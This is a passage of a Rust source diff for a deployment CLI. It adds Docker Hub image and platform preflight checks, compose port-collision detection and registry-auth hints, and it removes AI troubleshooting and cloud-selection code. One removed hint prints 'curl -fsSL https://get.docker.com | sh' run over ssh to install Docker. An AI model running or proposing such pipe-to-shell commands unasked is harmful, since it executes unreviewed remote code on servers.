+        let service_map = match service_value {
+            serde_yaml::Value::Mapping(m) => m,
+            _ => continue,
+        };
+
+        let ports_key = serde_yaml::Value::String("ports".to_string());
+        let Some(serde_yaml::Value::Sequence(ports)) = service_map.get(&ports_key) else {
+            continue;
+        };
+
+        for port in ports {
+            if let Some(host_port) = extract_published_host_port(port) {
+                published_ports
+                    .entry(host_port)
+                    .or_default()
+                    .push(service_name.clone());
+            }
         }
-        serde_yaml::Value::Mapping(build_map) => {
-            let context_raw = build_map
-                .get(&context_key)
-                .and_then(|v| v.as_str())
-                .unwrap_or(".");
-            let dockerfile_raw = build_map
-                .get(&dockerfile_key)
-                .and_then(|v| v.as_str())
-                .unwrap_or("Dockerfile");
+    }
 
-            let context_path = PathBuf::from(context_raw);
-            let context_abs = if context_path.is_absolute() {
-                context_path
+    let collisions: Vec<String> = published_ports
+        .into_iter()
+        .filter_map(|(port, services)| {
+            if services.len() > 1 {
+                Some(format!(
+                    "port {} is published by {}",
+                    port,
+                    services.join(", ")
+                ))
             } else {
-                compose_dir.join(context_path)
-            };
+                None
+            }
+        })
+        .collect();
 
-            let dockerfile_path = PathBuf::from(dockerfile_raw);
-            let dockerfile_abs = if dockerfile_path.is_absolute() {
-                dockerfile_path
-            } else {
-                context_abs.join(dockerfile_path)
-            };
+    if collisions.is_empty() {
+        Ok(())
+    } else {
+        Err(CliError::ConfigValidation(format!(
+            "Compose file has conflicting published host ports: {}",
+            collisions.join("; ")
+        )))
+    }
+}
 
-            Some(format!(
-                "context={}, dockerfile={}",
-                context_abs.display(),
-                dockerfile_abs.display()
-            ))
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct ComposeImageRef {
+    image: String,
+    service_name: String,
+    source_path: PathBuf,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct DockerHubImageTarget {
+    original: String,
+    namespace: Option<String>,
+    repository: String,
+    tag: String,
+}
+
+impl DockerHubImageTarget {
+    fn display_name(&self) -> String {
+        match &self.namespace {
+            Some(namespace) => format!("docker.io/{}/{}:{}", namespace, self.repository, self.tag),
+            None => format!("docker.io/library/{}:{}", self.repository, self.tag),
         }
-        _ => None,
     }
 }
 
-fn build_troubleshoot_error_log(project_dir: &Path, reason: &str) -> String {
-    let dockerfile_path = project_dir.join(OUTPUT_DIR).join("Dockerfile");
-    let compose_path = project_dir.join(OUTPUT_DIR).join("docker-compose.yml");
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct RequiredImagePlatform {
+    os: String,
+    architecture: String,
+}
 
-    let dockerfile = std::fs::read_to_string(&dockerfile_path).unwrap_or_default();
-    let compose = std::fs::read_to_string(&compose_path).unwrap_or_default();
+impl RequiredImagePlatform {
+    fn linux_amd64() -> Self {
+        Self {
+            os: "linux".to_string(),
+            architecture: "amd64".to_string(),
+        }
+    }
 
-    let dockerfile_snippet = if dockerfile.is_empty() {
-        "(not found)".to_string()
-    } else {
-        dockerfile.chars().take(4000).collect()
-    };
+    fn display_name(&self) -> String {
+        format!("{}/{}", self.os, self.architecture)
+    }
 
-    let compose_snippet = if compose.is_empty() {
-        "(not found)".to_string()
-    } else {
-        compose.chars().take(4000).collect()
-    };
+    fn matches(&self, image: &DockerHubTagImage) -> bool {
+        image
+            .os
+            .as_deref()
+            .map(|os| os.eq_ignore_ascii_case(&self.os))
+            .unwrap_or(false)
+            && image
+                .architecture
+                .as_deref()
+                .map(|architecture| architecture.eq_ignore_ascii_case(&self.architecture))
+                .unwrap_or(false)
+    }
+}
 
-    format!(
-        "Deploy error:\n{}\n\nGenerated Dockerfile (.stacker/Dockerfile):\n{}\n\nGenerated Compose (.stacker/docker-compose.yml):\n{}",
-        reason, dockerfile_snippet, compose_snippet
-    )
+fn required_image_platform_for_deploy_target(
+    deploy_target: &DeployTarget,
+) -> Option<RequiredImagePlatform> {
+    match deploy_target {
+        DeployTarget::Cloud | DeployTarget::Server => Some(RequiredImagePlatform::linux_amd64()),
+        DeployTarget::Local => None,
+    }
 }
 
-fn print_ai_deploy_help(project_dir: &Path, config_file: Option<&str>, err: &CliError) {
-    let reason = match err {
-        CliError::DeployFailed { reason, .. } => reason,
-        _ => return,
-    };
+#[derive(Debug, Clone, PartialEq, Eq)]
+enum DockerHubImageCheckResult {
+    Available,
+    Missing,
+    MissingPlatform {
+        required: RequiredImagePlatform,
+        available: Vec<String>,
+    },
+}
 
-    eprintln!("\nTroubleshooting help:");
+#[derive(Debug, serde::Deserialize)]
+struct DockerHubTagDetails {
+    #[serde(default)]
+    images: Vec<DockerHubTagImage>,
+}
 
-    let ai_config = match resolve_ai_from_env_or_config(project_dir, config_file) {
-        Ok(cfg) => cfg,
-        Err(load_err) => {
-            eprintln!("  Could not load AI config for troubleshooting: {}", load_err);
-            for hint in fallback_troubleshooting_hints(reason) {
-                eprintln!("  - {}", hint);
-            }
-            eprintln!("  Tip: enable AI with stacker init --with-ai or set STACKER_AI_PROVIDER=ollama");
-            return;
-        }
-    };
+#[derive(Debug, serde::Deserialize)]
+struct DockerHubTagImage {
+    architecture: Option<String>,
+    os: Option<String>,
+}
 
-    if !ai_config.enabled {
-        eprintln!("  AI troubleshooting disabled (ai.enabled=false).");
-        for hint in fallback_troubleshooting_hints(reason) {
-            eprintln!("  - {}", hint);
+fn available_docker_hub_platforms(images: &[DockerHubTagImage]) -> Vec<String> {
+    let mut platforms = std::collections::BTreeSet::new();
+
+    for image in images {
+        let Some(os) = image.os.as_deref() else {
+            continue;
+        };
+        let Some(architecture) = image.architecture.as_deref() else {
+            continue;
+        };
+        let os = os.trim();
+        let architecture = architecture.trim();
+        if os.is_empty() || architecture.is_empty() {
+            continue;
         }
-        eprintln!("  Tip: enable AI in stacker.yml if you want AI troubleshooting suggestions");
-        return;
+        platforms.insert(format!("{}/{}", os, architecture));
     }
 
-    let error_log = build_troubleshoot_error_log(project_dir, reason);
-    let ctx = PromptContext {
-        project_type: None,
-        files: vec![".stacker/Dockerfile".to_string(), ".stacker/docker-compose.yml".to_string()],
-        error_log: Some(error_log),
-        current_config: None,
-    };
-    let (system, prompt) = build_prompt(AiTask::Troubleshoot, &ctx);
+    platforms.into_iter().collect()
+}
+fn validate_compose_images_for_deploy(
+    compose_path: &Path,
+    registry: Option<&RegistryConfig>,
+    image_env: &std::collections::BTreeMap<String, String>,
+    required_platform: Option<&RequiredImagePlatform>,
+) -> Result<(), CliError> {
+    let rt = tokio::runtime::Builder::new_current_thread()
+        .enable_all()
+        .build()
+        .map_err(|e| {
+            CliError::ConfigValidation(format!("Failed to create async runtime: {}", e))
+        })?;
+
+    validate_compose_images_for_deploy_with_checker(
+        compose_path,
+        image_env,
+        required_platform,
+        |target| {
+            rt.block_on(check_docker_hub_image_exists(
+                target,
+                registry,
+                required_platform,
+            ))
+        },
+    )
+}
 
-    if ai_config.provider == AiProviderType::Ollama {
-        eprintln!("  AI suggestion (streaming from Ollama):");
-        match ollama_complete_streaming(&ai_config, &prompt, &system) {
-            Ok(answer) => {
-                if answer.trim().is_empty() {
-                    eprintln!("    (empty AI response)");
-                }
-                eprintln!();
-            }
-            Err(ai_err) => {
-                eprintln!("  AI troubleshooting unavailable: {}", ai_err);
-                for hint in fallback_troubleshooting_hints(reason) {
-                    eprintln!("  - {}", hint);
-                }
-                eprintln!("  Tip: set STACKER_AI_PROVIDER=ollama and ensure Ollama is running");
+fn validate_compose_images_for_deploy_with_checker<F>(
+    compose_path: &Path,
+    image_env: &std::collections::BTreeMap<String, String>,
+    required_platform: Option<&RequiredImagePlatform>,
+    mut checker: F,
+) -> Result<(), CliError>
+where
+    F: FnMut(&DockerHubImageTarget) -> Result<DockerHubImageCheckResult, String>,
+{
+    let images = collect_compose_image_refs(compose_path)?;
+    let mut problems = Vec::new();
+
+    for image_ref in images {
+        let resolved_image =
+            resolve_compose_image_reference(&image_ref.image, image_env).map_err(|err| {
+                CliError::ConfigValidation(format!(
+                    "Failed to resolve image for service '{}' in {}: {}",
+                    image_ref.service_name,
+                    image_ref.source_path.display(),
+                    err
+                ))
+            })?;
+
+        let Some(target) = parse_docker_hub_image_target(&resolved_image) else {
+            continue;
+        };
+
+        match checker(&target) {
+            Ok(DockerHubImageCheckResult::Available) => {}
+            Ok(DockerHubImageCheckResult::Missing) => problems.push(format!(
+                "{} (service '{}' in {})",
+                target.display_name(),
+                image_ref.service_name,
+                image_ref.source_path.display()
+            )),
+            Ok(DockerHubImageCheckResult::MissingPlatform {
+                required,
+                available,
+            }) => {
+                let available_suffix = if available.is_empty() {
+                    String::new()
+                } else {
+                    format!("; available platforms: {}", available.join(", "))
+                };
+                problems.push(format!(
+                    "{} (service '{}' in {}) does not publish required platform {}{}",
+                    target.display_name(),
+                    image_ref.service_name,
+                    image_ref.source_path.display(),
+                    required.display_name(),
+                    available_suffix
+                ));
             }
+            Err(err) => eprintln!(
+                "  Warning: could not verify image {} before deploy: {}",
+                target.display_name(),
+                err
+            ),
         }
-        return;
     }
 
-    eprintln!("  AI request in progress...");
-    match create_provider(&ai_config).and_then(|provider| provider.complete(&prompt, &system)) {
-        Ok(answer) => {
-            eprintln!("  AI suggestion:");
-            for line in answer.lines().take(20) {
-                eprintln!("    {}", line);
-            }
-        }
-        Err(ai_err) => {
-            eprintln!("  AI troubleshooting unavailable: {}", ai_err);
-            for hint in fallback_troubleshooting_hints(reason) {
-                eprintln!("  - {}", hint);
-            }
-            eprintln!("  Tip: set STACKER_AI_PROVIDER=ollama and ensure Ollama is running");
-        }
+    if problems.is_empty() {
+        Ok(())
+    } else if let Some(required_platform) = required_platform {
+        Err(CliError::ConfigValidation(format!(
+            "Compose image preflight failed. These images are missing, inaccessible, or incompatible with required platform {}: {}",
+            required_platform.display_name(),
+            problems.join("; ")
+        )))
+    } else {
+        Err(CliError::ConfigValidation(format!(
+            "Compose image preflight failed. These images are missing or inaccessible: {}",
+            problems.join("; ")
+        )))
     }
 }
 
-/// Map a provider code string (as stored in CloudInfo.provider) to a `CloudProvider` enum.
-///
-/// Accepts both short codes ("htz", "do", "aws", "lo", "vu") and full names
-/// ("hetzner", "digitalocean", "aws", "linode", "vultr").
-fn cloud_provider_from_code(code: &str) -> Option<CloudProvider> {
-    match code.to_lowercase().as_str() {
-        "htz" | "hetzner" => Some(CloudProvider::Hetzner),
-        "do" | "digitalocean" => Some(CloudProvider::Digitalocean),
-        "aws" => Some(CloudProvider::Aws),
-        "lo" | "linode" => Some(CloudProvider::Linode),
-        "vu" | "vultr" => Some(CloudProvider::Vultr),
-        _ => None,
+fn print_registry_auth_guidance_if_needed(
+    compose_path: &Path,
+    config: &StackerConfig,
+    image_env: &std::collections::BTreeMap<String, String>,
+) -> Result<(), CliError> {
+    let registry_creds = resolve_docker_registry_credentials(config);
+    if registry_creds.contains_key("docker_username")
+        && registry_creds.contains_key("docker_password")
+    {
+        return Ok(());
     }
-}
 
-/// Interactively prompt the user to select a saved cloud credential when
-/// no `deploy.cloud` section is present in stacker.yml.
-///
-/// - Fetches the list of saved clouds from the Stacker server.
-/// - Presents an interactive `Select` menu with each cloud plus a
-///   "Connect a new cloud provider" option at the end.
-/// - Returns:
-///   - `Ok(Some(cloud_info))` when the user picks an existing credential.
-///   - `Ok(None)` when the user picks "Connect a new cloud provider".
-///   - `Err(...)` on I/O or network errors.
-fn prompt_select_cloud(
-    access_token: &str,
-) -> Result<Option<stacker_client::CloudInfo>, CliError> {
-    let base_url = crate::cli::install_runner::normalize_stacker_server_url(
-        stacker_client::DEFAULT_STACKER_URL,
+    let images = collect_registry_auth_candidate_images(compose_path, image_env)?;
+    if images.is_empty() {
+        return Ok(());
+    }
+
+    eprintln!("  Registry auth: no deploy registry credentials were resolved.");
+    eprintln!(
+        "    If these images are private, set STACKER_DOCKER_USERNAME, STACKER_DOCKER_PASSWORD, and STACKER_DOCKER_REGISTRY, or configure deploy.registry."
     );
+    eprintln!("    Candidate image(s): {}", images.join(", "));
+    Ok(())
+}
 
-    let rt = tokio::runtime::Builder::new_current_thread()
-        .enable_all()
-        .build()
-        .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
+fn collect_registry_auth_candidate_images(
+    compose_path: &Path,
+    image_env: &std::collections::BTreeMap<String, String>,
+) -> Result<Vec<String>, CliError> {
+    let mut candidates = Vec::new();
+    let mut seen = std::collections::BTreeSet::new();
+
+    for image_ref in collect_compose_image_refs(compose_path)? {
+        let resolved_image =
+            resolve_compose_image_reference(&image_ref.image, image_env).map_err(|err| {
+                CliError::ConfigValidation(format!(
+                    "Failed to resolve image for service '{}' in {}: {}",
+                    image_ref.service_name,
+                    image_ref.source_path.display(),
+                    err
+                ))
+            })?;
+        if image_may_require_registry_auth(&resolved_image) && seen.insert(resolved_image.clone()) {
+            candidates.push(resolved_image);
+        }
+    }
 
-    let clouds = rt.block_on(async {
-        let client = StackerClient::new(&base_url, access_token);
-        client.list_clouds().await
-    })?;
+    Ok(candidates)
+}
 
-    const CONNECT_NEW: &str = "→  Connect a new cloud provider";
+fn image_may_require_registry_auth(image: &str) -> bool {
+    let image = image.trim();
+    if image.is_empty() {
+        return false;
+    }
 
-    if clouds.is_empty() {
-        eprintln!();
-        eprintln!("  No saved cloud credentials found.");
-        eprintln!("  To add cloud credentials, export your provider token and redeploy:");
-        eprintln!("    HCLOUD_TOKEN=<token> stacker deploy --target cloud   # Hetzner");
-        eprintln!("    DO_API_TOKEN=<token> stacker deploy --target cloud   # DigitalOcean");
-        eprintln!("    AWS_ACCESS_KEY_ID=<key> AWS_SECRET_ACCESS_KEY=<secret> stacker deploy --target cloud  # AWS");
-        eprintln!();
-        return Err(CliError::CloudProviderMissing);
+    let without_digest = image.split('@').next().unwrap_or(image);
+    let (without_tag, _) = split_image_tag(without_digest);
+    let parts: Vec<&str> = without_tag.split('/').collect();
+    if parts.len() > 1 && is_registry_host(parts[0]) {
+        return !is_docker_hub_host(parts[0]) || parts.len() > 2;
     }
 
-    // Column widths for the interactive cloud selection menu.
-    const CLOUD_ID_WIDTH: usize = 6;
-    const CLOUD_NAME_WIDTH: usize = 24;
+    parts.len() == 2 && parts[0] != "library"
+}
 
-    let mut items: Vec<String> = clouds
-        .iter()
-        .map(|c| format!("{:<width_id$} {:<width_name$} ({})", c.id, c.name, c.provider,
-            width_id = CLOUD_ID_WIDTH, width_name = CLOUD_NAME_WIDTH))
-        .collect();
-    items.push(CONNECT_NEW.to_string());
+fn collect_compose_image_refs(compose_path: &Path) -> Result<Vec<ComposeImageRef>, CliError> {
+    let mut visited = std::collections::BTreeSet::new();
+    let mut images = Vec::new();
+    collect_compose_image_refs_from_file(compose_path, &mut visited, &mut images)?;
+    Ok(images)
+}
 
-    eprintln!();
-    eprintln!("  No cloud provider configured in stacker.yml.");
-    eprintln!("  Select a saved cloud credential to use for this deployment:");
-    eprintln!();
+fn collect_compose_image_refs_from_file(
+    compose_path: &Path,
+    visited: &mut std::collections::BTreeSet<PathBuf>,
+    images: &mut Vec<ComposeImageRef>,
+) -> Result<(), CliError> {
+    let visited_key =
+        std::fs::canonicalize(compose_path).unwrap_or_else(|_| compose_path.to_path_buf());
+    if !visited.insert(visited_key) {
+        return Ok(());
+    }
 
-    let selection = dialoguer::Select::new()
-        .with_prompt("Cloud credential")
-        .items(&items)
-        .default(0)
-        .interact()
-        .map_err(|e| CliError::ConfigValidation(format!("Selection error: {}", e)))?;
+    let raw = std::fs::read_to_string(compose_path)?;
+    let doc: serde_yaml::Value = serde_yaml::from_str(&raw)
+        .map_err(|e| CliError::ConfigValidation(format!("Failed to parse compose file: {e}")))?;
 
-    if selection == clouds.len() {
-        // User chose "Connect a new cloud provider"
-        return Ok(None);
+    let root = match doc {
+        serde_yaml::Value::Mapping(m) => m,
+        _ => {
+            return Err(CliError::ConfigValidation(
+                "Compose file must be a YAML mapping at the top level".to_string(),
+            ))
+        }
+    };
+
+    let services_key = serde_yaml::Value::String("services".to_string());
+    let build_key = serde_yaml::Value::String("build".to_string());
+    let image_key = serde_yaml::Value::String("image".to_string());
+
+    if let Some(serde_yaml::Value::Mapping(services)) = root.get(&services_key) {
+        for (service_key, service_value) in services {
+            let service_name = service_key.as_str().unwrap_or("<unknown>").to_string();
+            let service_map = match service_value {
+                serde_yaml::Value::Mapping(m) => m,
+                _ => continue,
+            };
+
+            if service_map.contains_key(&build_key) {
+                continue;
+            }
+
+            let Some(image) = service_map.get(&image_key).and_then(|value| value.as_str()) else {
+                continue;
+            };
+
+            images.push(ComposeImageRef {
+                image: image.to_string(),
+                service_name,
+                source_path: compose_path.to_path_buf(),
+            });
+        }
     }
 
-    Ok(Some(
-        clouds
-            .into_iter()
-            .nth(selection)
-            .expect("selection index should be within bounds of clouds vector"),
-    ))
+    for include_path in collect_compose_include_paths(&root, compose_path)? {
+        if !include_path.exists() {
+            return Err(CliError::ConfigValidation(format!(
+                "Included compose file not found: {}",
+                include_path.display()
+            )));
+        }
+        collect_compose_image_refs_from_file(&include_path, visited, images)?;
+    }
+
+    Ok(())
 }
 
-/// `stacker deploy [--target local|cloud|server] [--file stacker.yml] [--dry-run] [--force-rebuild]`
-/// `stacker deploy --project=myapp --target cloud --key devops --server bastion`
-///
-/// Generates Dockerfile + docker-compose from stacker.yml, then
-/// deploys using the appropriate strategy (local, cloud, or server).
-///
-/// For remote cloud deploys, the CLI now goes through the Stacker server API
-/// instead of calling User Service directly:
-///   1. Resolves (or auto-creates) the project on the Stacker server
-///   2. Looks up saved cloud credentials by provider (or passes env-var creds)
-///   3. Looks up saved server by name (optional)
-///   4. Calls `POST /project/{id}/deploy[/{cloud_id}]`
-pub struct DeployCommand {
-    pub target: Option<String>,
-    pub file: Option<String>,
-    pub dry_run: bool,
-    pub force_rebuild: bool,
-    /// Override project name (--project flag)
-    pub project_name: Option<String>,
-    /// Override cloud key name (--key flag)
-    pub key_name: Option<String>,
-    /// Override cloud key by ID (--key-id flag)
-    pub key_id: Option<i32>,
-    /// Override server name (--server flag)
-    pub server_name: Option<String>,
-    /// Watch deployment progress until complete (--watch / --no-watch).
-    /// `None` means "auto" (watch for cloud, health-check for local).
-    pub watch: Option<bool>,
-    /// Persist server details into stacker.yml after deploy (--lock).
-    pub lock: bool,
-    /// Skip smart server pre-check and lockfile hints; force fresh cloud provision (--force-new).
-    pub force_new: bool,
-    /// Container runtime: "runc" (default) or "kata" (--runtime).
-    pub runtime: String,
+fn collect_compose_include_paths(
+    root: &serde_yaml::Mapping,
+    compose_path: &Path,
+) -> Result<Vec<PathBuf>, CliError> {
+    let include_key = serde_yaml::Value::String("include".to_string());
+    let Some(include_value) = root.get(&include_key) else {
+        return Ok(Vec::new());
+    };
+
+    let compose_dir = compose_path.parent().unwrap_or_else(|| Path::new("."));
+    let mut paths = Vec::new();
+    append_compose_include_paths(include_value, compose_dir, &mut paths)?;
+    Ok(paths)
 }
 
-impl DeployCommand {
-    pub fn new(
-        target: Option<String>,
-        file: Option<String>,
-        dry_run: bool,
-        force_rebuild: bool,
-    ) -> Self {
-        Self {
-            target,
-            file,
-            dry_run,
-            force_rebuild,
-            project_name: None,
-            key_name: None,
-            key_id: None,
-            server_name: None,
-            watch: None,
-            lock: false,
-            force_new: false,
-            runtime: "runc".to_string(),
+fn append_compose_include_paths(
+    value: &serde_yaml::Value,
+    compose_dir: &Path,
+    output: &mut Vec<PathBuf>,
+) -> Result<(), CliError> {
+    match value {
+        serde_yaml::Value::String(path) => {
+            let path = PathBuf::from(path);
+            output.push(if path.is_absolute() {
+                path
+            } else {
+                compose_dir.join(path)
+            });
+        }
+        serde_yaml::Value::Sequence(entries) => {
+            for entry in entries {
+                append_compose_include_paths(entry, compose_dir, output)?;
+            }
         }
+        serde_yaml::Value::Mapping(map) => {
+            let path_key = serde_yaml::Value::String("path".to_string());
+            if let Some(path_value) = map.get(&path_key) {
+                append_compose_include_paths(path_value, compose_dir, output)?;
+            }
+        }
+        _ => {}
     }
 
-    /// Builder method to set remote override flags from CLI args.
-    pub fn with_remote_overrides(
-        mut self,
-        project: Option<String>,
-        key: Option<String>,
-        server: Option<String>,
-    ) -> Self {
-        self.project_name = project;
-        self.key_name = key;
-        self.server_name = server;
-        self
+    Ok(())
+}
+
+fn parse_docker_hub_image_target(image: &str) -> Option<DockerHubImageTarget> {
+    let image = image.trim();
+    if image.is_empty() {
+        return None;
     }
 
-    /// Builder method to set cloud key ID from CLI `--key-id` flag.
-    pub fn with_key_id(mut self, key_id: Option<i32>) -> Self {
-        self.key_id = key_id;
-        self
+    let without_digest = image.split('@').next().unwrap_or(image);
+    let (without_tag, tag) = split_image_tag(without_digest);
+    let parts: Vec<&str> = without_tag.split('/').collect();
+
+    let remainder = if parts.len() > 1 && is_registry_host(parts[0]) {
+        if !is_docker_hub_host(parts[0]) {
+            return None;
+        }
+        &parts[1..]
+    } else {
+        &parts[..]
+    };
+
+    match remainder {
+        [repo] => Some(DockerHubImageTarget {
+            original: image.to_string(),
+            namespace: None,
+            repository: (*repo).to_string(),
+            tag,
+        }),
+        [namespace, repo] if *namespace == "library" => Some(DockerHubImageTarget {
+            original: image.to_string(),
+            namespace: None,
+            repository: (*repo).to_string(),
+            tag,
+        }),
+        [namespace, repo] => Some(DockerHubImageTarget {
+            original: image.to_string(),
+            namespace: Some((*namespace).to_string()),
+            repository: (*repo).to_string(),
+            tag,
+        }),
+        _ => None,
     }
+}
 
-    /// Builder method to set watch behaviour.
-    /// `--watch` forces watch on; `--no-watch` forces it off.
-    /// Neither flag → auto (cloud=watch, local=health-check).
-    pub fn with_watch(mut self, watch: bool, no_watch: bool) -> Self {
-        if no_watch {
-            self.watch = Some(false);
-        } else if watch {
-            self.watch = Some(true);
+fn split_image_tag(image: &str) -> (&str, String) {
+    if let Some(pos) = image.rfind(':') {
+        let after_colon = &image[pos + 1..];
+        if !after_colon.contains('/') {
+            return (&image[..pos], after_colon.to_string());
         }
-        // else remains None → auto
-        self
     }
+    (image, "latest".to_string())
+}
 
-    /// Builder method to set lock behaviour (--lock flag).
-    pub fn with_lock(mut self, lock: bool) -> Self {
-        self.lock = lock;
-        self
+fn is_registry_host(segment: &str) -> bool {
+    segment.contains('.') || segment.contains(':') || segment.eq_ignore_ascii_case("localhost")
+}
+
+fn is_docker_hub_host(segment: &str) -> bool {
+    let lower = segment
+        .trim()
+        .trim_end_matches('/')
+        .trim_start_matches("https://")
+        .trim_start_matches("http://")
+        .to_ascii_lowercase();
+    lower == "docker.io"
+        || lower == "hub.docker.com"
+        || lower == "index.docker.io"
+        || lower == "index.docker.io/v1"
+        || lower == "registry-1.docker.io"
+}
+
+fn docker_hub_auth(registry: Option<&RegistryConfig>) -> Option<(&str, &str)> {
+    let registry = registry?;
+    let username = registry.username.as_deref()?.trim();
+    let password = registry.password.as_deref()?.trim();
+
+    if username.is_empty() || password.is_empty() {
+        return None;
     }
 
-    /// Builder method to set force-new behaviour (--force-new flag).
-    pub fn with_force_new(mut self, force_new: bool) -> Self {
-        self.force_new = force_new;
-        self
+    let uses_docker_hub = registry
+        .server
+        .as_deref()
+        .map(is_docker_hub_host)
+        .unwrap_or(true);
+    if uses_docker_hub {
+        Some((username, password))
+    } else {
+        None
     }
+}
 
-    /// Builder method to set container runtime (--runtime flag).
-    pub fn with_runtime(mut self, runtime: String) -> Self {
-        let rt = runtime.to_lowercase();
-        if rt != "runc" && rt != "kata" {
-            eprintln!("Warning: unknown runtime '{}', defaulting to 'runc'", runtime);
-            self.runtime = "runc".to_string();
-        } else {
-            self.runtime = rt;
+async fn check_docker_hub_image_exists(
+    target: &DockerHubImageTarget,
+    registry: Option<&RegistryConfig>,
+    required_platform: Option<&RequiredImagePlatform>,
+) -> Result<DockerHubImageCheckResult, String> {
+    let client = reqwest::Client::new();
+    let auth_token = if let Some((username, password)) = docker_hub_auth(registry) {
+        Some(login_to_docker_hub(&client, username, password).await?)
+    } else {
+        None
+    };
+
+    let url = match &target.namespace {
+        Some(namespace) => format!(
+            "https://hub.docker.com/v2/namespaces/{}/repositories/{}/tags/{}",
+            namespace, target.repository, target.tag
+        ),
+        None => format!(
+            "https://hub.docker.com/v2/repositories/library/{}/tags/{}",
+            target.repository, target.tag
+        ),
+    };
+
+    let mut request = client.get(url).header("Accept", "application/json");
+    if let Some(token) = auth_token {
+        request = request.bearer_auth(token);
+    }
+
+    let response = request.send().await.map_err(|e| e.to_string())?;
+    let status = response.status();
+    if status.is_success() {
+        if let Some(required_platform) = required_platform {
+            let body: DockerHubTagDetails = response.json().await.map_err(|e| e.to_string())?;
+            if !body.images.is_empty()
+                && !body
+                    .images
+                    .iter()
+                    .any(|image| required_platform.matches(image))
+            {
+                return Ok(DockerHubImageCheckResult::MissingPlatform {
+                    required: required_platform.clone(),
+                    available: available_docker_hub_platforms(&body.images),
+                });
+            }
         }
-        self
+
+        Ok(DockerHubImageCheckResult::Available)
+    } else if status == reqwest::StatusCode::NOT_FOUND
+        || status == reqwest::StatusCode::UNAUTHORIZED
+        || status == reqwest::StatusCode::FORBIDDEN
+    {
+        Ok(DockerHubImageCheckResult::Missing)
+    } else {
+        Err(format!("Docker Hub API returned {}", status))
     }
 }
 
-/// Parse a deploy target string into `DeployTarget`.
-fn parse_deploy_target(s: &str) -> Result<DeployTarget, CliError> {
-    let json = format!("\"{}\"", s.to_lowercase());
-    serde_json::from_str::<DeployTarget>(&json).map_err(|_| {
-        CliError::ConfigValidation(format!(
-            "Unknown deploy target '{}'. Valid targets: local, cloud, server",
-            s
-        ))
-    })
-}
+async fn login_to_docker_hub(
+    client: &reqwest::Client,
+    username: &str,
+    password: &str,
+) -> Result<String, String> {
+    let response = client
+        .post("https://hub.docker.com/v2/users/login")
+        .json(&serde_json::json!({
+            "username": username,
+            "password": password,
+        }))
+        .send()
+        .await
+        .map_err(|e| e.to_string())?;
+
+    if !response.status().is_success() {
+        return Err(format!(
+            "Docker Hub login failed with status {}",
+            response.status()
+        ));
+    }
 
-/// Override values from CLI flags for remote cloud deploys.
-#[derive(Debug, Clone, Default)]
-pub struct RemoteDeployOverrides {
-    pub project_name: Option<String>,
-    pub key_name: Option<String>,
-    pub key_id: Option<i32>,
-    pub server_name: Option<String>,
+    let body: serde_json::Value = response.json().await.map_err(|e| e.to_string())?;
+    body.get("token")
+        .and_then(|value| value.as_str())
+        .map(|token| token.to_string())
+        .ok_or_else(|| "Docker Hub login response did not include a token".to_string())
 }
 
-/// Core deploy logic, extracted for testability.
-///
-/// Takes injectable `CommandExecutor` so tests can mock shell calls.
-pub fn run_deploy(
+fn build_image_env_lookup(
     project_dir: &Path,
-    config_file: Option<&str>,
-    target_override: Option<&str>,
-    dry_run: bool,
-    force_rebuild: bool,
-    force_new: bool,
-    executor: &dyn CommandExecutor,
-    remote_overrides: &RemoteDeployOverrides,
-    runtime: &str,
-) -> Result<DeployResult, CliError> {
-    // 1. Load config
-    let config_path = match config_file {
-        Some(f) => project_dir.join(f),
-        None => project_dir.join(DEFAULT_CONFIG_FILE),
-    };
+    config: &StackerConfig,
+) -> Result<std::collections::BTreeMap<String, String>, CliError> {
+    let mut env_map = std::collections::BTreeMap::new();
 
-    let mut config = StackerConfig::from_file(&config_path)?;
-    ensure_env_file_if_needed(&config, project_dir)?;
+    if let Some(env_file) = &config.env_file {
+        let env_path = if env_file.is_absolute() {
+            env_file.clone()
+        } else {
+            project_dir.join(env_file)
+        };
 
-    // 2. Resolve deploy target (flag > config)
-    let mut deploy_target = match target_override {
-        Some(t) => parse_deploy_target(t)?,
-        None => config.deploy.target,
-    };
+        if env_path.exists() {
+            let iter = dotenvy::from_path_iter(&env_path).map_err(|e| {
+                CliError::ConfigValidation(format!(
+                    "Failed to read env file {}: {}",
+                    env_path.display(),
+                    e
+                ))
+            })?;
+
+            for item in iter {
+                let (key, value) = item.map_err(|e| {
+                    CliError::ConfigValidation(format!(
+                        "Failed to parse env file {}: {}",
+                        env_path.display(),
+                        e
+                    ))
+                })?;
+                env_map.insert(key, value);
+            }
+        }
+    }
 
-    // 2b. Server pre-check: when target is Cloud but deploy.server section
-    //     is defined with a host, try SSH connectivity first.
-    //     If the server is reachable, automatically switch to Server target.
-    //     If not, show diagnostics and abort so the user can fix or remove the section.
-    //     Skipped when --force-new is set (user explicitly wants a fresh cloud provision).
-    //     When a lockfile exists, auto-inject the server name so the API reuses the server.
-    let mut lock_server_name: Option<String> = None;
-    if deploy_target == DeployTarget::Cloud && !force_new {
-        if let Some(ref server_cfg) = config.deploy.server {
-            eprintln!("  Found deploy.server section (host={}). Checking SSH connectivity...", server_cfg.host);
+    for (key, value) in &config.env {
+        env_map.insert(key.clone(), value.clone());
+    }
 
-            match try_ssh_server_check(server_cfg) {
-                Some(check) if check.connected && check.authenticated => {
-                    eprintln!("  ✓ Server {} is reachable ({})", server_cfg.host, check.summary());
+    for (key, value) in std::env::vars() {
+        env_map.insert(key, value);
+    }
 
-                    if !check.docker_installed {
-                        eprintln!("  ⚠ Docker is NOT installed on the server.");
-                        eprintln!("    Install Docker first:  ssh {}@{} 'curl -fsSL https://get.docker.com | sh'",
-                            server_cfg.user, server_cfg.host);
-                        return Err(CliError::DeployFailed {
-                            target: DeployTarget::Server,
-                            reason: format!(
-                                "Server {} is reachable but Docker is not installed. \
-                                 Install Docker and retry, or remove the 'server' section from stacker.yml \
-                                 to provision a new cloud server.",
-                                server_cfg.host
-                            ),
-                        });
-                    }
+    Ok(env_map)
+}
 
-                    eprintln!("  Switching deploy target from 'cloud' → 'server' (using existing server)");
-                    deploy_target = DeployTarget::Server;
-                }
-                Some(check) => {
-                    // Server defined but not reachable — abort with helpful hints
-                    print_server_unreachable_hint(server_cfg, &check);
-                    return Err(CliError::DeployFailed {
-                        target: DeployTarget::Cloud,
-                        reason: format!(
-                            "deploy.server section defines host {} but the server is not reachable: {}. \
